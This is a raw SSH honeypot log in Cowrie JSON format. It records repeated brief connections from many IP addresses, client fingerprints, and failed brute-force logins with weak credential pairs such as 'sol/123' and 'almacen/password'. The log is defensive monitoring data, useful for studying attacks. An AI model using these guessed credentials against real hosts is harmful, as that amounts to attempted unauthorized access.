{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:57.609809Z","src_ip":"2.57.122.208","session":"350f717e18d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:58.063046Z","src_ip":"43.155.21.198","session":"8f5235c6cd3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:58.501485Z","src_ip":"2.57.122.208","session":"350f717e18d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:09:59.619728Z","src_ip":"2.57.122.208","session":"350f717e18d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":41908,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a8fd04bcfab","protocol":"ssh","message":"New connection: 2.57.122.210:41908 (159.203.135.109:22) [session: 7a8fd04bcfab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:13.325504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:13.330721Z","src_ip":"2.57.122.210","session":"7a8fd04bcfab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:13.439354Z","src_ip":"2.57.122.210","session":"7a8fd04bcfab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:13.753286Z","src_ip":"2.57.122.210","session":"7a8fd04bcfab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:14.860285Z","src_ip":"2.57.122.210","session":"7a8fd04bcfab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.11.196.84","src_port":49228,"dst_ip":"10.17.0.5","dst_port":22,"session":"9278518f4059","protocol":"ssh","message":"New connection: 177.11.196.84:49228 (10.17.0.5:22) [session: 9278518f4059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:25.895972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:25.900871Z","src_ip":"177.11.196.84","session":"9278518f4059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:26.037742Z","src_ip":"177.11.196.84","session":"9278518f4059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"llm","password":"12345","message":"login attempt [llm/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:26.618845Z","src_ip":"177.11.196.84","session":"9278518f4059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:27.758775Z","src_ip":"177.11.196.84","session":"9278518f4059","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":11084,"dst_ip":"10.17.0.5","dst_port":22,"session":"d42607fc1120","protocol":"ssh","message":"New connection: 64.188.83.153:11084 (10.17.0.5:22) [session: d42607fc1120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:46.370429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:46.375701Z","src_ip":"64.188.83.153","session":"d42607fc1120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:46.461194Z","src_ip":"64.188.83.153","session":"d42607fc1120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almacen","password":"password","message":"login attempt [almacen/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:46.835693Z","src_ip":"64.188.83.153","session":"d42607fc1120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:10:47.925395Z","src_ip":"64.188.83.153","session":"d42607fc1120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.245.10.43","src_port":48260,"dst_ip":"10.17.0.5","dst_port":22,"session":"90cfac725a3b","protocol":"ssh","message":"New connection: 61.245.10.43:48260 (10.17.0.5:22) [session: 90cfac725a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:04.215578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:04.220808Z","src_ip":"61.245.10.43","session":"90cfac725a3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:04.475698Z","src_ip":"61.245.10.43","session":"90cfac725a3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wyy","password":"12345","message":"login attempt [wyy/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:05.523652Z","src_ip":"61.245.10.43","session":"90cfac725a3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:06.787120Z","src_ip":"61.245.10.43","session":"90cfac725a3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.103.212","src_port":48226,"dst_ip":"10.17.0.5","dst_port":22,"session":"03368230b92e","protocol":"ssh","message":"New connection: 147.50.103.212:48226 (10.17.0.5:22) [session: 03368230b92e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:33.185519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:33.189466Z","src_ip":"147.50.103.212","session":"03368230b92e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:33.452241Z","src_ip":"147.50.103.212","session":"03368230b92e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"info","password":"1234","message":"login attempt [info/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:34.530505Z","src_ip":"147.50.103.212","session":"03368230b92e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:35.794693Z","src_ip":"147.50.103.212","session":"03368230b92e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":42430,"dst_ip":"10.17.0.5","dst_port":22,"session":"e47faee8fa04","protocol":"ssh","message":"New connection: 27.111.32.174:42430 (10.17.0.5:22) [session: e47faee8fa04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:45.752933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:45.757073Z","src_ip":"27.111.32.174","session":"e47faee8fa04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:46.003956Z","src_ip":"27.111.32.174","session":"e47faee8fa04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almacen","password":"password","message":"login attempt [almacen/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:47.021636Z","src_ip":"27.111.32.174","session":"e47faee8fa04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:11:48.271122Z","src_ip":"27.111.32.174","session":"e47faee8fa04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":37702,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1992d5dc027","protocol":"ssh","message":"New connection: 193.32.162.145:37702 (10.17.0.5:22) [session: e1992d5dc027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:05.813109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:05.817210Z","src_ip":"193.32.162.145","session":"e1992d5dc027","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:05.922997Z","src_ip":"193.32.162.145","session":"e1992d5dc027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"degen","password":"degen","message":"login attempt [degen/degen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:06.237612Z","src_ip":"193.32.162.145","session":"e1992d5dc027","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:07.347744Z","src_ip":"193.32.162.145","session":"e1992d5dc027","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42882,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9472c283e37","protocol":"ssh","message":"New connection: 2.57.122.208:42882 (10.17.0.5:22) [session: b9472c283e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:09.869331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:10.053000Z","src_ip":"2.57.122.208","session":"b9472c283e37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:10.055474Z","src_ip":"2.57.122.208","session":"b9472c283e37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:12:11.021423Z","src_ip":"2.57.122.208","session":"b9472c283e37","protocol":"ssh"}
